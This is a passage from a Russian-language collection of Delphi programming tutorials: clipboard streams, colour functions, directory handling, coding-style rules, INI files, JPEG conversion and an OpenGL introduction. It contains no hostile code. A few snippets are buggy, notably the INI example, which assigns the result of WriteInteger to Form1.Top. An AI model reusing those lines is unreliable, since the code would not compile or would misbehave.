FHandle := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT, FSize);
try
tmp := GlobalLock(FHandle);
try
MoveMemory(tmp, FMemory, FSize);
OpenClipboard(0);
SetClipboardData(FFormat, FHandle);
finally
GlobalUnlock(FHandle);
end;
CloseClipboard;
except
GlobalFree(FHandle);
end;
Result := Count;
end;
function TClipboardStream.Seek(Offset : Longint; Origin : Word) : Longint;
begin
case Origin of
0 : FPosition := Offset;
1 : Inc(FPosition, Offset);
2 : FPosition := FSize + Offset;
end;
Result := FPosition;
end;
end.
|
Работа с цветами.
Автор: Gero WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Работа с цветами
Несколько полезных функций для работы с цветами.
// Получить цвет, темнее исходного на Percent процентов
function DarkerColor(const Color : TColor; Percent : Integer) : TColor;
// Получить цвет, светлее исходного на Percent процентов
function LighterColor(const Color : TColor; Percent : Integer) : TColor;
// Смешать несколько цветов и получить средний
function MixColors(const Colors : array of TColor) : TColor;
// Сделать цвет черно-белым
function GrayColor(Color : TColor) : TColor;
Зависимости: Windows, Graphics
Автор: Gero, tov.vaskin@inbox.ru, Днепропетровск(Украина)
Copyright: Gero
Дата: 11 февраля 2004 г.
***************************************************** }
function DarkerColor(const Color: TColor; Percent: Integer): TColor;
var
R, G, B: Byte;
begin
Result := Color;
if Percent <= 0 then
Exit;
if Percent > 100 then
Percent := 100;
Result := ColorToRGB(Color);
R := GetRValue(Result);
G := GetGValue(Result);
B := GetBValue(Result);
R := R - R * Percent div 100;
G := G - G * Percent div 100;
B := B - B * Percent div 100;
Result := RGB(R, G, B);
end;
function LighterColor(const Color: TColor; Percent: Integer): TColor;
var
R, G, B: Byte;
begin
Result := Color;
if Percent <= 0 then
Exit;
if Percent > 100 then
Percent := 100;
Result := ColorToRGB(Result);
R := GetRValue(Result);
G := GetGValue(Result);
B := GetBValue(Result);
R := R + (255 - R) * Percent div 100;
G := G + (255 - G) * Percent div 100;
B := B + (255 - B) * Percent div 100;
Result := RGB(R, G, B);
end;
function MixColors(const Colors: array of TColor): TColor;
var
R, G, B: Integer;
i: Integer;
L: Integer;
begin
R := 0;
G := 0;
B := 0;
for i := Low(Colors) to High(Colors) do
begin
Result := ColorToRGB(Colors[i]);
R := R + GetRValue(Result);
G := G + GetGValue(Result);
B := B + GetBValue(Result);
end;
L := Length(Colors);
Result := RGB(R div L, G div L, B div L);
end;
function GrayColor(Color: TColor): TColor;
var
Gray: Byte;
begin
Result := ColorToRGB(Color);
Gray := (GetRValue(Result) + GetGValue(Result) + GetBValue(Result)) div 3;
Result := RGB(Gray, Gray, Gray);
end;
Пример использования:
var
i, j: Integer;
begin
...
with Bitmap1 do
for i := 0 to Width - 1 do
for j := 0 to Height - 1 do
Canvas.Pixels[i, j] := GrayColor(Canvas.Pixels[i, j]);
...
end;
Как работать с компонентами по их индексу.
Меняем заголовки меткам [TLabel] с первой по пятую:
procedure TForm1.Button1Click(Sender: TObject);
var
i: byte;
Lab: TComponent;
begin
for i := 1 to 5 do begin
Lab := FindComponent('Label' + IntToStr(i));
(Lab as TLabel).Caption := IntToStr(i);
end;
end;
|
Работа с директориями в Delphi.
| Автор: Михаил Христосенко WEB сайт: http://mihandelphi.narod.ru |
| После сытного завтрака муж уселся перед компьютером и окунулся в интернетовские порносайты. - Ты что?! - удивилась жена. - Не идёшь сегодня на работу? - Ой, господи! А я решил, что уже давно там... |
В этой статье я постараюсь познакомить Вас с некоторыми стандартными функциями для работы с директориями. И еще приведу несколько пользовательских функций и примеры их использования. Также рассмотрен вопрос вызова диалога выбора директории.
Для начала начнем с простой функции для создания новой папки. Общий вид функции такой:
function CreateDir(const Dir: string): Boolean; |
То есть если папка успешно создана функция возвращает true. Сразу же простой пример ее использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
if createdir('c:\TestDir') = true then
showmessage('Директория успешно создана')
else
showmessage('При создании директории произошла ошибка');
end;
|
При нажатии на кнопку программа пытается создать папку с именем TestDir на диске C: и если попытка увенчалась успехом, то выводится соответствующее сообщение. Следует отметить, что если вы не указываете имя диска, на котором хотите создавать папку, то функция будет создавать папку в той же директории, где находится сама программа.
Объявления:
createdir(edit1.text); |
И.
createdir(extractfilepath(paramstr(0)) + edit1.text); |
Приведут к одному и тому же результату.
Теперь рассмотрим функцию для удаления папок. Ее объявление выглядит так:
function RemoveDir(const Dir: string): Boolean; |
Сразу же хочу предупредить, что данная функция способна удалять только пустые папки, и если там что-нибудь будет, то произойдет ошибка! Но выход есть!!! Здесь нам на помощь придет пользовательская функция с простым названием MyRemoveDir. Вот описание функции:
function MyRemoveDir(sDir: string): Boolean;
var
iIndex: Integer;
SearchRec: TSearchRec;
sFileName: string;
begin
Result := False;
sDir := sDir + '\*.*';
iIndex := FindFirst(sDir, faAnyFile, SearchRec);
while iIndex = 0 do
begin
sFileName := ExtractFileDir(sDir)+'\'+SearchRec.name;
if SearchRec.Attr = faDirectory then
begin
if (SearchRec.name <> '' ) and
(SearchRec.name <> '.') and
(SearchRec.name <> '..') then
MyRemoveDir(sFileName);
end
else
begin
if SearchRec.Attr <> faArchive then
FileSetAttr(sFileName, faArchive);
if not DeleteFile(sFileName) then
ShowMessage('Could NOT delete ' + sFileName);
end;
iIndex := FindNext(SearchRec);
end;
FindClose(SearchRec);
RemoveDir(ExtractFileDir(sDir));
Result := True;
end;
|
Копируете это все в Вашу программу, а затем эту функцию можно вызвать например так:
if not MyRemoveDir('C:\TestDir') then
ShowMessage('Не могу удалить эту директорию');
|
Теперь маленько отстранимся от непосредственной работы с папками и рассмотрим волнующий многих вопрос. Как вызвать диалог выбора папки (как при установке программ)?? ПРОСТО!!!
Подключаем в uses модуль Filectrl.pas (то есть uses FileCtrl;). Теперь ставим на форму еще кнопочку (чтобы не путаться :) и пишем такой код:
procedure TForm1.Button3Click(Sender: TObject);
const
SELDIRHELP = 1000;
var
Dir: string;
begin
Dir := 'C:\windows';
if SelectDirectory(Dir, [sdAllowCreate, sdPerformCreate, sdPrompt],SELDIRHELP) then
Caption := Dir;
end;
|
При выборе директории в заголовке формы отобразиться ее название!
Теперь рассмотрим следующую процедуру. К примеру Вам надо создать папку Dir1 по адресу: C:\MyDir\Test\Dir1, но при этом папок MyDir и Test на Вашем компьютере не существует. Функция CreateDir здесь не сработает, поэтому воспользуемся процедурой ForceDirectories. Ее общий вид таков:
procedure ForceDirectories(Dir: string); |
Пример ее использования (как всегда я поставил на форму новую кнопку, а там написал).
procedure TForm1.Button4Click(Sender: TObject); var Dir: string; begin Dir := 'C:\MyDir\Test\Dir1'; ForceDirectories(Dir); end; |
Ну и напоследок приведу функцию для проверки: существует ли директория или нет. Ее общий вид такой:
function DirectoryExists(name: string): Boolean; |
Если директория указанная в параметре Name существует - то функция возвратит true.
Надеюсь, что помог Вам описанием данных функций и процедур. Сразу хочется дать совет: почаще заглядывайте в HELP, там много интересной и полезной информации!
Delphi - Работа над ошибками.
Оформил: DeeCo
Вступление В течение своей профессиональной деятельности программист вырабатывает систему правил, которая позволяет ему не совершать допущенных ранее ошибок и избегать потенциально опасных ситуаций. Ценность правил заключается в том, что они ограждают программиста от не всегда очевидных проблем, дают возможность писать единообразный код и дают возможность поступать формально, тем самым, освобождая "мыслительные" ресурсы на решение поставленной задачи. Некоторые из рецептов моей кулинарной книги я хочу предложить на ваше суждение. Очевидность этих правил зависит от вашей квалификации. Согласие с ними зависит от вашей собственной системы. Их источником послужили мой личный опыт и опыт ошибок начинающих программистов, каждое поколение которых повторяет их, к сожалению, с завидной стабильностью . Выработанные правила направлены на: Повышение надежности работы программы, т.е. уменьшение вероятности возникновения ошибки. Вероятность возникновения ошибки существует всегда, никто не безгрешен (включая операционную систему). Задача программиста - свести эту вероятность к минимуму. Увеличение устойчивости программы - свойства, при котором она возвращается в стабильное состояние после возникновения возмущения (ошибки) (а не зависает, исчезает или уваливает операционную систему). Написание единообразного и легко поддерживаемого кода. Warnings and Hints Компилятор Delphi снабжен "анализатором" качества кода. Он может предупреждать о потенциально опасных или бессмысленных ситуациях. Не пренебрегайте его услугами. Правило: Добивайтесь, что бы ваша программа компилировалась без предупреждений и намеков. Даже если они не существенны, в последствии в их массе вы или пользователи вашей библиотеки могут не заметить более важные предупреждения.Использование констант.
Используйте именованные константы. Это увеличивает "настраиваемость" исходного кода. А также избавляет от проблем связанных с изменением значения константы в случае ее множественного вхождения.
Range Check и Integer Overflow Check.
К сожалению, эти опции компилятора по умолчанию отключены в Delphi, и многие разработчики не пользуются их услугами, а зря. Появления этих ошибок говорит о наличии в программе семантических ошибок, таких как неправильная индексация массива или использование несоответствующего целочисленного типа. Последствия этих ошибок могут быть весьма коварны. Я советую оставлять эти флаги всегда включенными, независимо от того - это отладочная или "финальная" версия программы. Лучше иметь неработающую программу (или ее часть), чем программу работающую неправильно (IMHO).
Отключать их имеет смысл, когда нет возможности исправить эту ошибку, как, например, в случае с ранними версиями VCL, скомпилированной с этими опциями.
Будьте недоверчивы.
Очень часто алгоритмы кодируются из расчета на "нормальный" режим работы (достаточно ресурсов, присутствуют все необходимые компоненты, пользователи нажимают правильные комбинации клавиш и т.д.). Такие реализации очень плохо справляются с возникающими возмущениями. Во избежание этих проблем следуйте следующим простым правилам:
Проверяйте значения переменных на допустимость. Особенно это касается переменных типа указатель, процедурных переменных и объектов. Защищайте пары выделение-освобождение ресурсов блоками try/finally. Предполагайте, что исключение может произойти в любом операторе. Используйте процедуру Assert для проверки условий, которые всегда должны быть истинными.Объем кода, добавленный для проверок и обработки ошибок, может достигать порядка "полезного" кода! Но, такой стиль программирования является необходимым условием при написании сложных систем. Что поделаешь, из бревен небоскреб не построишь.
Значения по умолчанию и "неопределенные" значения.
В логике распределения значений для переменных всегда необходимо предусматривать "неопределенное" значение и значение по умолчанию. Отсутствие таких значений достаточно часто приводят к семантическим ошибкам.
Правило №1: Для указателей и объектов пустым значением должно являться значение nil. Для числовых типов лучше всего резервировать значение ноль. Для строковых переменных - пустая строка Для перечислимых типов необходимо предусмотреть специальное значение. Пример: TDayOfWeek = (dwNone,dwSun,dwMon,dwTue,dwWen,dwThu,dwFri,dwSat); Правило №2: "Неопределенными" значениями лучше всего выбирать такие, чье двоичное представление соответствует нулю (нулям). Это увеличивает устойчивость, когда не выполнена начальная инициализация переменной, но произведена инициализация блока памяти, в котором она размещается. Пример Для перечислимых типов "неопределенное" значение должно быть первым, так как оно соответствует целочисленному нулю.Инициализация переменных и полей.
Неинициализированные переменные часто становятся причинами возникновения ошибок-фантомов. Обычно они имеют нерегулярную природу, и их трудно выявить в процессе отладки. Особенно катастрофичными могут быть последствия при таком обращении с указателями.
Правило:
Для глобальных переменных: использовать типизированные константы, инициализированные переменные или присваивать начальные значения переменным в секции инициализации модуля. Для локальных переменных: присваивать начальные значения в первых строках процедуры или функции. Для полей объектов: присваивать начальные значения полям в конструкторе и не полагаться на то, что память, выделенная под объект, инициализируется нулями. Массивы, записи и выделенные блоки памяти очень удобно инициализировать при помощи функции FillChar. Но, с появлением в Delphi "управляемых" (manageable) типов (длинные строки, динамические массивы, варианты и интерфейсы), пользоваться ей необходимо с четким пониманием.
Пример
type
TStrArray = array[1..10] of string;
var
A: TStrArray;
...
FillChar(A, SizeOf(A), 0);
В данном примере вызов процедуры FillChar проинициализирует строки пустыми значениями, такой подход был нормальным в ранних версиях Delphi и Borland Pascal, но не допустим в последних версиях, в которых тип string по умолчанию соответствует типу LongString и суть указатель. Если значения строк перед инициализацией были не пусты, то мы получим утечку памяти.
Передача параметров.
В Delphi параметры функций и процедур по умолчанию передаются по значению. Т.е. для них выделяется область памяти в стеке или куче, куда копируются оригинальные значения. При передаче параметров сложных типов (запись, массив, строка, вариант) это сопряжено со значительными расходами ресурсов, поэтому параметры этих типов желательно передавать по ссылке, т.е. с использованием ключевых слов var или const. Замечено, что наиболее типична эта ошибка при передаче параметра типа string.Пример
procedure Proc(s: string); //Не очень хорошо :( procedure Proc(const s: string); //Гораздо лучше :)Функции, процедуры и состояния.Для начала словарь терминов: Функция - это подпрограмма, задачей которой является получение (извлечение, вычисление и т.д.) определенного значения на основании входных параметров и текущего состояния системы. Процедура - это подпрограмма, которая предназначена для выполнения каких либо действий над системой, и соответственно изменяет состояние системы. Просьба не путать эти определения с ключевыми словами function и procedure.
Правило: Подпрограмма должна быть либо функцией, либо процедурой. Не совмещайте эти две задачи в одной подпрограмме, разделите ее на несколько подпрограмм. Контроль достижения предела.
Довольно часто встречаются случаи, когда контроль достижения предела цикла осуществляется условием равенства. Пример
repeat
...
Inc(I);
until I = Limit;
Что произойдет, если в результате ошибки (или просто модификации алгоритма) переменная I перескочит через значение Limit? Правильно - ничего хорошего. Более устойчивой будет конструкция с использованием условия отсечения диапазона, т.е. I >= Limit.
Частота выделения-освобождения ресурсов.
Очевидно, что скорость потери ресурсов (памяти, дескрипторов и т.д.) пропорциональна частоте их выделения. Рассмотрите варианты реализации, в которых ресурсы выделяются наиболее редко. Таким образом, вы сможете отсрочить крах программы, и некоторые пользователи могут даже и не узнать, что с ней что-то не так.
Пример: Допустим, в объекте есть метод DoSomething. В процессе работы он выделяет и освобождает память, которая нужна только ему. С точки зрения "выделения ресурсов по месту их использования" - все корректно, но при многократном обращении к этому методу и в случае наличия ошибки при освобождении памяти вы можете получить достаточно интенсивную утечку памяти. В данной ситуации имеет смысл рассмотреть одноразовое выделение памяти при создании объекта и освобождении при его разрушении. В данной ситуации при наличии ошибки скорость утечки будет гораздо меньше. Естественно, что данное решение необходимо рассматривать в комплексе с другими задачами (производительность, минимизация расхода ресурсов и т.д.) Область использования переменных.Много сказано и написано на эту тему. Но еще раз повторюсь: Объявляйте переменные по месту их использования. Избегайте использования глобальных переменных. Если все же без них не обходиться, то не забывайте, что ваша библиотека может быть использована в многопотоковом приложении. Интерфейсы объектов. Четко специфицируйте, какие методы, свойства и поля могут быть доступны и каким образом. "Прячьте" методы, свойства и поля, которые не должны быть доступны извне. Не давайте возможность пользоваться "недокументированными" возможностями ваших объектов. Если по каким либо причинам скрыть эти элементы не получается (к сожалению, система прав доступа к элементам объекта в Delphi не совершенна), тогда не забудьте оформить соответствующий комментарий. "Просачивание" исключений в библиотеках.При написании библиотеки функций или классов не закрывайте просачивание исключений наружу, если это конечно не предусмотрено логикой библиотеки. Пример.
try
...
{Я столкнулся с подобным кодом в библиотеке ODBCExpress в
процессе написания NT сервиса J.}
exception
//Очень нехорошо
on Exception do
ShowMessage('Something wrong' s happened: - ('');
end;
Обработка исключений, возникших в библиотеке - это задача приложения, которое использует данную библиотеку.
Определение и использование классов.
Любой модуль можно логически разделить на две части: определения - в которой определяются переменные, функции, классы, их методы и т.д. использования - создание экземпляров классов в секции инициализации модуля. Правило: При планировании библиотеки классов не совмещайте в одном модуле части определения и использования. Или другими словами - отделяйте определение класса от того, как он будет использован.Пример.
Модуль Forms содержит определения классов, вспомогательных функций и создает экземпляры глобальных переменных (Application, Screen и т.д.). Допустим, в вашем консольном приложении, не использующем графический интерфейс нужна какая-то константа из модуля Forms. Включив его в свой проект, вы получите за бесплатно довесок в несколько сотен килобайт абсолютно ненужного вам кода. В чем причина? Линковщик не может определить, какие виртуальные методы будут вызваны, так как теоретически все они могут быть вызваны косвенно. По этому достаточно одного "упоминания" класса, как весь код его виртуальных методов (а также виртуальных методов других классов, на которые он ссылается) будет влинкован в ваше приложение, тут же. Во избежание подобной проблемы модуль Forms надо было бы разделить на две части: в одной - только определения, а в другой - создания экземпляров, выше указанных, глобальных переменных.
Я столкнулся с описанной проблемой при написании серверного приложения без GUI, которое взаимодействует с базой данных. Где-то в недрах DBxxx компонент есть ссылка на модуль Forms. Эта "особенность" была замечена в Delphi 5, скорее всего эта проблема имела место и в предыдущих версиях. Справедливости ради надо отметить, что в Delphi 7 эта особенность устранена.
Циклические ссылки модулей и "осведомленность" сущностей.
Технически, Object Pascal позволят создать циклические ссылки между модулями. Их наличие в программе или библиотеке свидетельствует о не очень удачной декомпозиции (IMHO). Негативными последствиями их использования есть:
Вероятность, что в ваш проект будут включены неиспользуемые модули; Сложная логика взаимодействия компонент, что усложняет поддержку и развитие проекта, а так же может быть источником функциональных ошибок. Правило: Избегайте использования циклических ссылок модулей. Старайтесь организовать "осведомленность" сущностей древовидной (сущности верхнего уровня знают о существовании сущностей нижнего уровня, но не наоборот). Обратное взаимодействие можно реализовывать посредством механизма событий (процедурных переменных) или при помощи сущностей "посредников".Пример.
Предположим, мы разрабатываем приложение, в котором должны производиться некоторые вычисления и процесс этих вычислений, должен представляться пользователю. Грубо говоря, в данной ситуации мы имеем две сущности: "интерфейс пользователя" и "вычислительный механизм". Они оба должны взаимодействовать друг с другом: "интерфейс пользователя" должен настраивать "вычислитель" и запускать его на выполнение, а "вычислитель" должен выдавать информацию о ходе расчетов. Можно предложить следующий вариант решения:
Модули интерфейса пользователя и вычислителя работают непосредственно друг с другом, т.е. "интерфейс пользователя" вызываем методы "вычислителя" и наоборот. Все будет работать великолепно, пока не окажется, что "вычислитель" необходимо использовать в другой задаче с другим интерфейсом пользователя (или без оного вообще). Обойти данную проблему можно, если в "вычислителе" задачу общения с "внешним миром" (в данном случае - интерфейс пользователя) возложить на функции обратного вызова (callback functions). При таком подходе, заинтересованная сторона регистрируется у "вычислителя", и он будет вызывать ее функции, не подозревая, с кем имеет дело.
Анализ: В первом случае мы имели двунаправленную "осведомленность" сущностей друг о друге, что привело к проблемам с повторным использованием кода "вычислителя". Во втором случае у нас только однонаправленная "осведомленность" сущностей, т.е. "интерфейс пользователя" знает о вычислителе, но не наоборот. Если необходимо повторно использовать код "интерфейса пользователя", можно пойти дальше - сущность "приложение" знает о существовании сущностей "интерфейс пользователя" и "вычислитель", но последние ничего не знают друг о друге и взаимодействуют через сущность "приложение", исполняющую роль посредника.Исключения в обработчике события OnTimer.
При написания обработчика события OnTimer компонента TTimer необходимо учитывать, что возникновение исключения в нем для обычного Delphi приложения без специализированной обработки исключений приведет к выскакиванию диалога с сообщением об ошибке. Но это не останавливает работу таймера. И если причина возникновения исключения устойчива, то скоро вы увидите следующее сообщения и т.д., пока у системы не закончатся какие-нибудь ресурсы.
Решить данную проблему можно несколькими способами: Обрабатывать исключения непосредственно в обработчике события
try
except
on E: Exception do
Application.ShowException(E);
end;
Использовать централизованный обработчик исключений, который фиксирует их в протоколе или журнале, но не выдает никаких сообщений об ошибке. Application.OnException := MyExceptionHandler;
Последний подход желательно использовать в серверных приложениях, когда нет пользователя, который интерактивно взаимодействует с приложением.
Заключение.
Правила приведенные в этой статье носят общий характер. Практически всегда существуют исключения (такова природа правил J). Следование этим правилам, позволило мне добиться разработки устойчивого и единообразного кода. Буду признательным за любые дополнения, исправления, замечания, примечания, пожелания и критику (особенно конструктивную).
Как работать со всеми фреймами, отображёнными в данный момент в WebBrowser.
| Автор: Peter Friese |
| - Тук-тук! - Кто там? - Это я, Веб-браузер! - А фреймы поддерживаешь? - Не-е-а! - Тогда и за веревочку не дергай! |
Данный пример показывает как определить в каких фреймах разрешена команда 'copy':
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
for i := 0 to (WebBrowser1.OleObject.Document.frames.Length - 1) do
if WebBrowser1.OleObject.Document.frames.item(i).document.queryCommandEnabled('Copy') then
ShowMessage('copy command is enabled for frame no.' + IntToStr(i));
end;
|
Работа с INI файлами.
Автор: Михаил Христосенко WEB сайт: http://mihandelphi.narod.ru В этой статье мы рассмотрим технику создания инифайлов их назначение и применение. Начнем с ответа на вопрос зачем же нужны эти инифайлы?! Предположим, что вы создали приложение, в котором пользователь может настраивать цвет фона, шрифт надписей и так далее. Когда он повторно включит вашу программу он очень сильно разочаруется, так как всего его старания по настройке интерфейса вашей программы пропали даром - программа будет иметь такой вид, который сделали вы при проектировании программы. Так вот чтобы эти настройки сохранять, лучше всего пользоваться инифайлами. Одно из главных преимуществ инифайлов заключается в том, что эти файлы подерживают переменные разных типов (String, Integer, Boolean). В этих файлах очень удобно хранить различные настройки, например параметры шрифта, цвет фона, какие сhескbох'ы выбрал пользователь и многое другое.Теперь начнем разбираться с этими инифайлами. Для начала создайте новое приложение. Добавьте в секцию uses слово inifiles. Сохраните и откомпилируйте ваше приложение. Теперь сделаем, чтобы при каждом открытии программы форма имела такие размеры, какие установил пользователь последний раз. Для начала нам надо создать объект типа Inifile. Создается он методом Create(Filename:string); причем если в переменной Filename не указан путь к фалу, то он создаться в директории Windows, что не очень-то удобно. Поэтому мы создадим этот файл в директории нашей программы. Напишем это в обработчик события OnDestroy для формы:
procedure TForm1.FormDestroy(Sender: TObject);
var
Ini: Tinifile; //необходимо создать объект, чтоб потом с ним работать
begin
//создали файл в директории программы
Ini:=TiniFile.Create(extractfilepath(paramstr(0))+'MyIni.ini');
Ini.WriteInteger('Size','Width',form1.width);
Ini.WriteInteger('Size','Height',form1.height);
Ini.WriteInteger('Position','X',form1.left);
Ini.WriteInteger('Position','Y',form1.top);
Ini.Free;
end;
|
Вот файл MyIni.ini после завершения работы программы (у вас естественно значения будут другими):
[Size] Width=188 Height=144 [Position] X=14 Y=427Теперь подробно разберемся как записывать информацию в инифайлы: После того, как вы создали инифайл, в него можно записывать три вида переменных: Integer, String, Boolean, это осуществляется соответствующими процедурами: WriteInteger, WriteString, WriteBool. У всех этих процедур одинаковые параметры. В общем объявление этих процедур выглядит так:
Ini.WriteInteger(const Section: string, const Ident:string, Value: Integer);Здесь Section -это имя секции, куда будут помещены параметры и значения. В файле имена секций заключены в квадратные скобки. Обычно в секции объединяют схожие параметры. Ident - это название параметра, которому будет присваиваться какое-нибудь значение. Value - это собственно значение, которое будет присвоено параметру. В файле оно стоит после знака равно.
Теперь напишем обработчик события OnCreate для формы, в котором будем считывать значения из файла и изменять размеры формы в соответствии с полученными значениями. Код должен иметь такой вид:
procedure TForm1.FormCreate(Sender: TObject);
var
Ini: Tinifile;
begin
//открываем файл
Ini:=TiniFile.Create(extractfilepath(paramstr(0))+'MyIni.ini');
Form1.Width:=Ini.ReadInteger('Size','Width',100);
//последнее значение (100) это значение по умолчанию (default)
Form1.Height:=Ini.ReadInteger('Size','Height',100);
Form1.Left:=Ini.ReadInteger('Position','X',10);
Form1.Top:=Ini.WriteInteger('Position','Y',10);
Ini.Free;
end;
|
Теперь я отвечу еще на один вопрос, который может появиться - почему не обычные текстовые файлы и не реестр? Отвечаю: из текстового файла очень сложно получить и обработать необходимую информацию. Многие рекомендуют для Win95/98/2000/Me, короче для всех 32-разрядных ОС использовать именно реестр, но лично я считаю, что инифайлы удобнее, так как при при переносе программы на другой компьютер, нужно перенести только один инифайл, а во-вторых, если вы что-нибудь в реестре случайно удалите, то может случиться каюк.
Работа с JPEG-изображениями.
Автор: Михаил Христосенко WEB сайт: http://mihandelphi.narod.ru Для этих целей в Дельфи предусмотрено два класса TJpegImage и TJpegData. Мы будем использовать первый, он описан в модуле JPEG (его надо подключить в uses). Теперь попробуем реализовать такую вещь. Сделаем конвертер картинок в формате *.bmp в формат *.jpeg. Для этого нам понадобится такие компоненты: TImage (для просмотра картинок), две кнопки TButton (для открытия диалога выбора картинок и для запуска процесса), TTrackBar (для того чтобы устанавливать качество картинки), TCheckBox (чтобы устанавливать или убирать флаг " Оттенки серого" ) и TOpenDialog.Обработчик события OnClick для первой кнопки может иметь такой вид:
procedure TForm1.Button1Click(Sender: TObject);
begin
if opendialog1.execute then
image1.Picture.LoadFromFile(opendialog1.filename);
end;
|
Теперь непосредственно займемся написанием основной части программы, то есть создание jpeg-изображения. Все действия будем производить по щелчку на второй кнопке. Нам необходимо будет создать объект типа TJpegImage, провести с ним необходимые действия, а потом с помощью метода Compress, упаковать изображение и остается только сохранить изображение в файл. Еще необходимо настроить свойства TrackBar'a: свойство Max надо сделать равным 100 и свойство Position равным также 100. Итак, обработчик нажатия на вторую кнопку может быть таким:
procedure TForm1.Button2Click(Sender: TObject);
var
jpg: TJpegImage;
begin
{создаем экземпляр объекта}
jpg:=TJpegImage.Create;
{присваиваем ему изображение}
jpg.Assign(image1.picture.graphic);
{устанавливаем степень сжатия (качество) 1..100}
jpg.CompressionQuality:=TrackBar1.Position;
{если установлен флаг " Оттенки серого" , то пусть картинка будет серой:)}
jpg.Grayscale:=checkbox1.Checked;
{Упаковываем графику}
jpg.Compress;
{и сохраняем ее куда вам захочется}
jpg.SaveToFile('D:\first.jpg');
{уничтожаем экземпляр объекта}
jpg.free;
end;
|
Как вы видите все очень просто! На всякий случай приведу полный код приложения:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, ExtCtrls, StdCtrls,JPEG;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Image1: TImage;
TrackBar1: TTrackBar;
OpenDialog1: TOpenDialog;
CheckBox1: TCheckBox;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
if opendialog1.execute then
image1.Picture.LoadFromFile(opendialog1.filename);
end;
procedure TForm1.Button2Click(Sender: TObject);
var jpg:TJpegImage;
begin
{создаем экземпляр объекта}
jpg:=TJpegImage.Create;
{присваиваем ему изображение}
jpg.Assign(image1.picture.graphic);
{устанавливаем степень сжатия (качество) 1..100}
jpg.CompressionQuality:=TrackBar1.Position;
{если установлен флаг " Оттенки серого" , то пусть картинка будет серой:)}
jpg.Grayscale:=checkbox1.Checked;
{Упаковываем графику}
jpg.Compress;
{и сохраняем ее куда вам захочется}
jpg.SaveToFile('D:\first.jpg');
{уничтожаем экземпляр объекта}
jpg.free;
end;
end.
|
Для обратного преобразования из Jpg в Bmp необходимо воспользоваться методом DibNeeded.
Работа с OpenGL - Введение.
| Лежат два програмиста на берегу моря один дрегому: - Смотри какие облака. - Да это они умеют! |
Введение
По мере знакомства с использованием OpenGL в Delphi у меня появился ряд проектов, иллюстрирующих различные аспекты этого вопроса. Проекты начинаются с самых минимальных программ, в которых просто окрашивается окно или выводится прямоугольник с использованием функций OpenGL и заканчиваются масштабными проектами из тысяч строк кода. Эти работы позволяют проследить мой путь и могут служить подмогой для тех, кто только начинает разбираться в этих вопросах.
Когда я начинал изучение этого, у меня не было ни одного примера использования OpenGL в Delphi, только ворох программ на C и C++, поэтому пришлось начинать с того, чтобы перекладывать эти программы на Delphi. Затем появились и полностью собственные проекты. Моя основная работа связана с преподаванием в вузе, после того, как я включил в учебные курсы изучение основ OpenGL, студенты с моей помощью смогли создать ряд интересных проектов.
Я решил опубликовать некоторые из проектов моей коллекции, озаглавил набор "ЖиЛистая Delphi" и предложил сайту "Королевство Delphi". На сайте мне предложили дополнить эти проекты серией статей по вопросам использования OpenGL в Delphi. Данная статья является первой статьей этого цикла.
Статьи я предполагаю писать на уровне, доступном для самой широкой аудитории - от новичков в программировании для Windows до умудренных профессионалов. Я постараюсь придерживаться краткости в своих рассуждениях, освещая только суть рассматриваемых вопросов. Многие вопросы, освещаемые здесь, ясно проиллюстрированы в проектах "ЖиЛистой Delphi".
OpenGL - стандартный для большинства платформ и операционных систем набор низкоуровневых функций двумерной и трехмерной графики, библиотека, широко используемая в промышленных CAD-системах и играх.
Поставляется в составе операционной системы Windows, начиная с версии OSR2 в виде двух DLL-файлов - opengl32.dll и glu32.dll. Первая из этих библиотек и есть собственно набор функций OpenGL, вторая содержит дополнительный набор функций, упрощающих кодирование, но построенных и выполняемых с подключением opengl32.dll и являющаяся надстройкой.
То, что эти библиотеки поставляются в составе операционной системы, значительно упрощает распространение разработанных приложений. То, что OpenGL распространяется в виде динамических библиотек, упрощает доступ к его функциям.
При выборе базы для построения приложений графики несомненными достоинствами OpenGL являются его простота и стандартность - код в случае необходимости можно легко перенести на другую платформу или под другую операционную систему.
Для более подробной информации о OpenGL Вы можете обратиться на сайт http://www.opengl.org
Вместе с Delphi, начиная с третьей версии, поставляется файл помощи по OpenGL фирмы MicroSoft и заголовочный файл opengl.pas, позволяющий использовать эту графическую библиотеку в приложениях, написанных на Delphi.
Есть также альтернативные версии заголовочных файлов независимых разработчиков и компоненты, использующие OpenGL, упрощающие доступ к его функциям и использующие ООП подход. Некоторые из этих файлов и компонентов могут использовать версию OpenGL для Windows фирмы SGI, имеющую собственное расширение функций и имеющую более высокие скоростные показатели. Одна из самых полных систем, реализующая набор функций всех версий OpenGL - это библиотека разработчика MGL фирмы SciTechSoft.
Мы в своих примерах будем опираться только на стандартные файлы и компоненты Delphi, так что Вам не придется искать и приобретать дополнительные файлы и компоненты. Умея самостоятельно использовать OpenGL, Вы легко сможете использовать готовые компоненты, скрывающие черновую работу подключения и использования функций OpenGL. Тем более, что многие из этих компонентов отличаются неустойчивой работой.
Итак, Delphi в стандартной поставке позволяет использовать OpenGL в разрабатываемых приложениях, но как это сделать, плохо понятно из файла помощи, а готовыми примерами использования OpenGL Delphi не сопровождается (по крайней мере, на сегодня). Поэтому начинающим часто тяжело самостоятельно разобраться, как же работать с OpenGL в Delphi. Рассмотрению вопросов использования OpenGL вообще и использованию в Delphi и будет посвящен данный курс статей.
К сожалению, эта тема осложнена тем обстоятельством, что для построения самой минимальной программы OpenGL требуется выполнить ряд обязательных действий, код реализации которых может напугать начинающих своей обширностью.
Для понимания смысла этих действий желательно понимать смысл основных понятий операционной системы Windows - ссылка, контекст, сообщение, в проектах Delphi не всегда активно используемых программистами. Желательно иметь хотя бы минимальные знания о роли динамических библиотек в этой операционной системе. Хотя, конечно, можно успешно использовать OpenGL и без глубоких знаний в этой области, используя готовые шаблоны приложений и сосредоточившись собственно на функциях OpenGL.
